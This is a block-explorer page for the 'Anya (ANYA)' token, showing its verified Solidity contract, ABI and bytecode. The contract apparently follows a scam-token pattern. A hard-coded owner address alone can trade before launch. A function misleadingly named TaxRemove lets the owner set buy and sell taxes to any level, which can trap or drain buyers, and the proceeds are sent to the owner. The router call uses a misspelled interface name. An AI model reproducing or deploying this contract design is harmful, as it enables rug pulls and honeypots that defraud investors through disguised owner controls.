ETH Price: $3,192.44 (-2.22%)

Token

Anya (ANYA)
 

Overview

Max Total Supply

1,000,000 ANYA

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
78,041.230347830347821692 ANYA

Value
$0.00
0x30567ae7a5ff2b485d52aae23c6ea24a19a43c30
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RANGO

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-10-30
*/

/**
                                                  
Portal:  https://t.me/anyaerc
Twitter: https://x.com/anyaerc

*/

// SPDX-License-Identifier: unlicense


pragma solidity 0.8.21;
    
interface IUniswapV2Router02 {
     function swapExactTokensForETHSupportingTaxfsOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
    
    contract RANGO  {

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

        string public   _name = unicode"Anya"; 
        string public   _symbol = unicode"ANYA";  
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 1000000  * 10**decimals;

        uint256 buyTaxfs = 0;
        uint256 sellTaxfs = 0;
        uint256 constant swapAmount = totalSupply / 100;
        
        error Permissions();

        function name() public view virtual returns (string memory) {
        return _name;
        }

    
        function symbol() public view virtual returns (string memory) {
        return _symbol;
        }    

        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed MTKSp,
            address indexed spender,
            uint256 value
        );

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;

       
        
        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant MTKSp = payable(address(0x71dDd94Db2E46Af4b18da7f55D167fE223887EFb));

        bool private swapping;
        bool private tradingOpen;

        

        receive() external payable {}

        

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(tradingOpen || from == MTKSp || to == MTKSp);

            if(!tradingOpen && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingTaxfsOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
                MTKSp.transfer(address(this).balance);
                swapping = false;
            }

            if(from != address(this)){
                uint256 TaxfsAmount = amount * (from == pair ? buyTaxfs : sellTaxfs) / 100;
                amount -= TaxfsAmount;
                balanceOf[address(this)] += TaxfsAmount;
            }
            balanceOf[to] += amount;
            emit Transfer(from, to, amount);
            return true;
        }

        function openTrading() external {
            require(msg.sender == MTKSp);
            require(!tradingOpen);
            tradingOpen = true;        
        }

        function _RemeveTax(uint256 _buy, uint256 _sell) private {
            buyTaxfs = _buy;
            sellTaxfs = _sell;
        }

        function TaxRemove(uint256 _buy, uint256 _sell) external {
            if(msg.sender != MTKSp)        
                revert Permissions();
            _RemeveTax(_buy, _sell);
        }
    }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"MTKSp","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"TaxRemove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600481526020017f416e7961000000000000000000000000000000000000000000000000000000008152505f9081620000499190620004a8565b506040518060400160405280600481526020017f414e59410000000000000000000000000000000000000000000000000000000081525060019081620000909190620004a8565b505f6002555f600355348015620000a5575f80fd5b506012600a620000b6919062000715565b620f4240620000c6919062000765565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a62000217919062000715565b620f424062000227919062000765565b604051620002369190620007c0565b60405180910390a3620007db565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620002c057607f821691505b602082108103620002d657620002d56200027b565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200033a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620002fd565b620003468683620002fd565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620003906200038a62000384846200035e565b62000367565b6200035e565b9050919050565b5f819050919050565b620003ab8362000370565b620003c3620003ba8262000397565b84845462000309565b825550505050565b5f90565b620003d9620003cb565b620003e6818484620003a0565b505050565b5b818110156200040d57620004015f82620003cf565b600181019050620003ec565b5050565b601f8211156200045c576200042681620002dc565b6200043184620002ee565b8101602085101562000441578190505b620004596200045085620002ee565b830182620003eb565b50505b505050565b5f82821c905092915050565b5f6200047e5f198460080262000461565b1980831691505092915050565b5f6200049883836200046d565b9150826002028217905092915050565b620004b38262000244565b67ffffffffffffffff811115620004cf57620004ce6200024e565b5b620004db8254620002a8565b620004e882828562000411565b5f60209050601f8311600181146200051e575f841562000509578287015190505b6200051585826200048b565b86555062000584565b601f1984166200052e86620002dc565b5f5b82811015620005575784890151825560018201915060208501945060208101905062000530565b8683101562000577578489015162000573601f8916826200046d565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200061657808604811115620005ee57620005ed6200058c565b5b6001851615620005fe5780820291505b80810290506200060e85620005b9565b9450620005ce565b94509492505050565b5f8262000630576001905062000702565b816200063f575f905062000702565b8160018114620006585760028114620006635762000699565b600191505062000702565b60ff8411156200067857620006776200058c565b5b8360020a9150848211156200069257620006916200058c565b5b5062000702565b5060208310610133831016604e8410600b8410161715620006d35782820a905083811115620006cd57620006cc6200058c565b5b62000702565b620006e28484846001620005c5565b92509050818404811115620006fc57620006fb6200058c565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000721826200035e565b91506200072e8362000709565b92506200075d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200061f565b905092915050565b5f62000771826200035e565b91506200077e836200035e565b92508282026200078e816200035e565b91508282048414831517620007a857620007a76200058c565b5b5092915050565b620007ba816200035e565b82525050565b5f602082019050620007d55f830184620007af565b92915050565b61171a80620007e95f395ff3fe6080604052600436106100c5575f3560e01c806395d89b411161007e578063b944d7bb11610058578063b944d7bb14610292578063c9567bf9146102ba578063d28d8852146102d0578063dd62ed3e146102fa576100cc565b806395d89b4114610202578063a9059cbb1461022c578063b09f126614610268576100cc565b806306fdde03146100d0578063095ea7b3146100fa57806318160ddd1461013657806323b872dd14610160578063313ce5671461019c57806370a08231146101c6576100cc565b366100cc57005b5f80fd5b3480156100db575f80fd5b506100e4610336565b6040516100f19190610fae565b60405180910390f35b348015610105575f80fd5b50610120600480360381019061011b919061105f565b6103c5565b60405161012d91906110b7565b60405180910390f35b348015610141575f80fd5b5061014a6104b2565b60405161015791906110df565b60405180910390f35b34801561016b575f80fd5b50610186600480360381019061018191906110f8565b6104d1565b60405161019391906110b7565b60405180910390f35b3480156101a7575f80fd5b506101b0610574565b6040516101bd9190611163565b60405180910390f35b3480156101d1575f80fd5b506101ec60048036038101906101e7919061117c565b610579565b6040516101f991906110df565b60405180910390f35b34801561020d575f80fd5b5061021661058e565b6040516102239190610fae565b60405180910390f35b348015610237575f80fd5b50610252600480360381019061024d919061105f565b61061e565b60405161025f91906110b7565b60405180910390f35b348015610273575f80fd5b5061027c610632565b6040516102899190610fae565b60405180910390f35b34801561029d575f80fd5b506102b860048036038101906102b391906111a7565b6106be565b005b3480156102c5575f80fd5b506102ce610745565b005b3480156102db575f80fd5b506102e46107c6565b6040516102f19190610fae565b60405180910390f35b348015610305575f80fd5b50610320600480360381019061031b91906111e5565b610851565b60405161032d91906110df565b60405180910390f35b60605f805461034490611250565b80601f016020809104026020016040519081016040528092919081815260200182805461037090611250565b80156103bb5780601f10610392576101008083540402835291602001916103bb565b820191905f5260205f20905b81548152906001019060200180831161039e57829003601f168201915b5050505050905090565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104a091906110df565b60405180910390a36001905092915050565b6012600a6104c091906113dc565b620f42406104ce9190611426565b81565b5f8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105599190611467565b9250508190555061056b848484610871565b90509392505050565b601281565b6004602052805f5260405f205f915090505481565b60606001805461059d90611250565b80601f01602080910402602001604051908101604052809291908181526020018280546105c990611250565b80156106145780601f106105eb57610100808354040283529160200191610614565b820191905f5260205f20905b8154815290600101906020018083116105f757829003601f168201915b5050505050905090565b5f61062a338484610871565b905092915050565b6001805461063f90611250565b80601f016020809104026020016040519081016040528092919081815260200182805461066b90611250565b80156106b65780601f1061068d576101008083540402835291602001916106b6565b820191905f5260205f20905b81548152906001019060200180831161069957829003601f168201915b505050505081565b7371ddd94db2e46af4b18da7f55d167fe223887efb73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610737576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6107418282610f12565b5050565b7371ddd94db2e46af4b18da7f55d167fe223887efb73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610790575f80fd5b600660159054906101000a900460ff16156107a9575f80fd5b6001600660156101000a81548160ff021916908315150217905550565b5f80546107d290611250565b80601f01602080910402602001604051908101604052809291908181526020018280546107fe90611250565b80156108495780601f1061082057610100808354040283529160200191610849565b820191905f5260205f20905b81548152906001019060200180831161082c57829003601f168201915b505050505081565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b5f600660159054906101000a900460ff16806108cc57507371ddd94db2e46af4b18da7f55d167fe223887efb73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8061091657507371ddd94db2e46af4b18da7f55d167fe223887efb73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b61091e575f80fd5b600660159054906101000a900460ff1615801561098757505f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b801561099257505f82115b156109d8578260065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a249190611467565b9250508190555060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610a945750600660149054906101000a900460ff16155b8015610b04575060646012600a610aab91906113dc565b620f4240610ab99190611426565b610ac391906114c7565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b15610d3f576001600660146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610b4057610b3f6114f7565b5b604051908082528060200260200182016040528015610b6e5781602001602082028036833780820191505090505b50905030815f81518110610b8557610b84611524565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110610be857610be7611524565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff166376c452be60646012600a610c6291906113dc565b620f4240610c709190611426565b610c7a91906114c7565b5f8430426040518663ffffffff1660e01b8152600401610c9e959493929190611659565b5f604051808303815f87803b158015610cb5575f80fd5b505af1158015610cc7573d5f803e3d5ffd5b505050507371ddd94db2e46af4b18da7f55d167fe223887efb73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610d22573d5f803e3d5ffd5b505f600660146101000a81548160ff021916908315150217905550505b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610e4f575f606460065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614610dd157600354610dd5565b6002545b84610de09190611426565b610dea91906114c7565b90508083610df89190611467565b92508060045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e4691906116b1565b92505081905550505b8160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e9b91906116b1565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610eff91906110df565b60405180910390a3600190509392505050565b81600281905550806003819055505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610f5b578082015181840152602081019050610f40565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610f8082610f24565b610f8a8185610f2e565b9350610f9a818560208601610f3e565b610fa381610f66565b840191505092915050565b5f6020820190508181035f830152610fc68184610f76565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ffb82610fd2565b9050919050565b61100b81610ff1565b8114611015575f80fd5b50565b5f8135905061102681611002565b92915050565b5f819050919050565b61103e8161102c565b8114611048575f80fd5b50565b5f8135905061105981611035565b92915050565b5f806040838503121561107557611074610fce565b5b5f61108285828601611018565b92505060206110938582860161104b565b9150509250929050565b5f8115159050919050565b6110b18161109d565b82525050565b5f6020820190506110ca5f8301846110a8565b92915050565b6110d98161102c565b82525050565b5f6020820190506110f25f8301846110d0565b92915050565b5f805f6060848603121561110f5761110e610fce565b5b5f61111c86828701611018565b935050602061112d86828701611018565b925050604061113e8682870161104b565b9150509250925092565b5f60ff82169050919050565b61115d81611148565b82525050565b5f6020820190506111765f830184611154565b92915050565b5f6020828403121561119157611190610fce565b5b5f61119e84828501611018565b91505092915050565b5f80604083850312156111bd576111bc610fce565b5b5f6111ca8582860161104b565b92505060206111db8582860161104b565b9150509250929050565b5f80604083850312156111fb576111fa610fce565b5b5f61120885828601611018565b925050602061121985828601611018565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061126757607f821691505b60208210810361127a57611279611223565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115611302578086048111156112de576112dd611280565b5b60018516156112ed5780820291505b80810290506112fb856112ad565b94506112c2565b94509492505050565b5f8261131a57600190506113d5565b81611327575f90506113d5565b816001811461133d576002811461134757611376565b60019150506113d5565b60ff84111561135957611358611280565b5b8360020a9150848211156113705761136f611280565b5b506113d5565b5060208310610133831016604e8410600b84101617156113ab5782820a9050838111156113a6576113a5611280565b5b6113d5565b6113b884848460016112b9565b925090508184048111156113cf576113ce611280565b5b81810290505b9392505050565b5f6113e68261102c565b91506113f183611148565b925061141e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461130b565b905092915050565b5f6114308261102c565b915061143b8361102c565b92508282026114498161102c565b915082820484148315176114605761145f611280565b5b5092915050565b5f6114718261102c565b915061147c8361102c565b925082820390508181111561149457611493611280565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6114d18261102c565b91506114dc8361102c565b9250826114ec576114eb61149a565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61157d61157861157384611551565b61155a565b61102c565b9050919050565b61158d81611563565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6115c581610ff1565b82525050565b5f6115d683836115bc565b60208301905092915050565b5f602082019050919050565b5f6115f882611593565b611602818561159d565b935061160d836115ad565b805f5b8381101561163d57815161162488826115cb565b975061162f836115e2565b925050600181019050611610565b5085935050505092915050565b61165381610ff1565b82525050565b5f60a08201905061166c5f8301886110d0565b6116796020830187611584565b818103604083015261168b81866115ee565b905061169a606083018561164a565b6116a760808301846110d0565b9695505050505050565b5f6116bb8261102c565b91506116c68361102c565b92508282019050808211156116de576116dd611280565b5b9291505056fea2646970667358221220013988960328e820c66fd9b53bd2f27c1a26d3e8beb2aa98549d736ed63be76664736f6c63430008150033

Deployed Bytecode

0x6080604052600436106100c5575f3560e01c806395d89b411161007e578063b944d7bb11610058578063b944d7bb14610292578063c9567bf9146102ba578063d28d8852146102d0578063dd62ed3e146102fa576100cc565b806395d89b4114610202578063a9059cbb1461022c578063b09f126614610268576100cc565b806306fdde03146100d0578063095ea7b3146100fa57806318160ddd1461013657806323b872dd14610160578063313ce5671461019c57806370a08231146101c6576100cc565b366100cc57005b5f80fd5b3480156100db575f80fd5b506100e4610336565b6040516100f19190610fae565b60405180910390f35b348015610105575f80fd5b50610120600480360381019061011b919061105f565b6103c5565b60405161012d91906110b7565b60405180910390f35b348015610141575f80fd5b5061014a6104b2565b60405161015791906110df565b60405180910390f35b34801561016b575f80fd5b50610186600480360381019061018191906110f8565b6104d1565b60405161019391906110b7565b60405180910390f35b3480156101a7575f80fd5b506101b0610574565b6040516101bd9190611163565b60405180910390f35b3480156101d1575f80fd5b506101ec60048036038101906101e7919061117c565b610579565b6040516101f991906110df565b60405180910390f35b34801561020d575f80fd5b5061021661058e565b6040516102239190610fae565b60405180910390f35b348015610237575f80fd5b50610252600480360381019061024d919061105f565b61061e565b60405161025f91906110b7565b60405180910390f35b348015610273575f80fd5b5061027c610632565b6040516102899190610fae565b60405180910390f35b34801561029d575f80fd5b506102b860048036038101906102b391906111a7565b6106be565b005b3480156102c5575f80fd5b506102ce610745565b005b3480156102db575f80fd5b506102e46107c6565b6040516102f19190610fae565b60405180910390f35b348015610305575f80fd5b50610320600480360381019061031b91906111e5565b610851565b60405161032d91906110df565b60405180910390f35b60605f805461034490611250565b80601f016020809104026020016040519081016040528092919081815260200182805461037090611250565b80156103bb5780601f10610392576101008083540402835291602001916103bb565b820191905f5260205f20905b81548152906001019060200180831161039e57829003601f168201915b5050505050905090565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104a091906110df565b60405180910390a36001905092915050565b6012600a6104c091906113dc565b620f42406104ce9190611426565b81565b5f8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105599190611467565b9250508190555061056b848484610871565b90509392505050565b601281565b6004602052805f5260405f205f915090505481565b60606001805461059d90611250565b80601f01602080910402602001604051908101604052809291908181526020018280546105c990611250565b80156106145780601f106105eb57610100808354040283529160200191610614565b820191905f5260205f20905b8154815290600101906020018083116105f757829003601f168201915b5050505050905090565b5f61062a338484610871565b905092915050565b6001805461063f90611250565b80601f016020809104026020016040519081016040528092919081815260200182805461066b90611250565b80156106b65780601f1061068d576101008083540402835291602001916106b6565b820191905f5260205f20905b81548152906001019060200180831161069957829003601f168201915b505050505081565b7371ddd94db2e46af4b18da7f55d167fe223887efb73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610737576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6107418282610f12565b5050565b7371ddd94db2e46af4b18da7f55d167fe223887efb73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610790575f80fd5b600660159054906101000a900460ff16156107a9575f80fd5b6001600660156101000a81548160ff021916908315150217905550565b5f80546107d290611250565b80601f01602080910402602001604051908101604052809291908181526020018280546107fe90611250565b80156108495780601f1061082057610100808354040283529160200191610849565b820191905f5260205f20905b81548152906001019060200180831161082c57829003601f168201915b505050505081565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b5f600660159054906101000a900460ff16806108cc57507371ddd94db2e46af4b18da7f55d167fe223887efb73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8061091657507371ddd94db2e46af4b18da7f55d167fe223887efb73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b61091e575f80fd5b600660159054906101000a900460ff1615801561098757505f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b801561099257505f82115b156109d8578260065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a249190611467565b9250508190555060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610a945750600660149054906101000a900460ff16155b8015610b04575060646012600a610aab91906113dc565b620f4240610ab99190611426565b610ac391906114c7565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b15610d3f576001600660146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610b4057610b3f6114f7565b5b604051908082528060200260200182016040528015610b6e5781602001602082028036833780820191505090505b50905030815f81518110610b8557610b84611524565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110610be857610be7611524565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff166376c452be60646012600a610c6291906113dc565b620f4240610c709190611426565b610c7a91906114c7565b5f8430426040518663ffffffff1660e01b8152600401610c9e959493929190611659565b5f604051808303815f87803b158015610cb5575f80fd5b505af1158015610cc7573d5f803e3d5ffd5b505050507371ddd94db2e46af4b18da7f55d167fe223887efb73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610d22573d5f803e3d5ffd5b505f600660146101000a81548160ff021916908315150217905550505b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610e4f575f606460065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614610dd157600354610dd5565b6002545b84610de09190611426565b610dea91906114c7565b90508083610df89190611467565b92508060045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e4691906116b1565b92505081905550505b8160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e9b91906116b1565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610eff91906110df565b60405180910390a3600190509392505050565b81600281905550806003819055505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610f5b578082015181840152602081019050610f40565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610f8082610f24565b610f8a8185610f2e565b9350610f9a818560208601610f3e565b610fa381610f66565b840191505092915050565b5f6020820190508181035f830152610fc68184610f76565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ffb82610fd2565b9050919050565b61100b81610ff1565b8114611015575f80fd5b50565b5f8135905061102681611002565b92915050565b5f819050919050565b61103e8161102c565b8114611048575f80fd5b50565b5f8135905061105981611035565b92915050565b5f806040838503121561107557611074610fce565b5b5f61108285828601611018565b92505060206110938582860161104b565b9150509250929050565b5f8115159050919050565b6110b18161109d565b82525050565b5f6020820190506110ca5f8301846110a8565b92915050565b6110d98161102c565b82525050565b5f6020820190506110f25f8301846110d0565b92915050565b5f805f6060848603121561110f5761110e610fce565b5b5f61111c86828701611018565b935050602061112d86828701611018565b925050604061113e8682870161104b565b9150509250925092565b5f60ff82169050919050565b61115d81611148565b82525050565b5f6020820190506111765f830184611154565b92915050565b5f6020828403121561119157611190610fce565b5b5f61119e84828501611018565b91505092915050565b5f80604083850312156111bd576111bc610fce565b5b5f6111ca8582860161104b565b92505060206111db8582860161104b565b9150509250929050565b5f80604083850312156111fb576111fa610fce565b5b5f61120885828601611018565b925050602061121985828601611018565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061126757607f821691505b60208210810361127a57611279611223565b5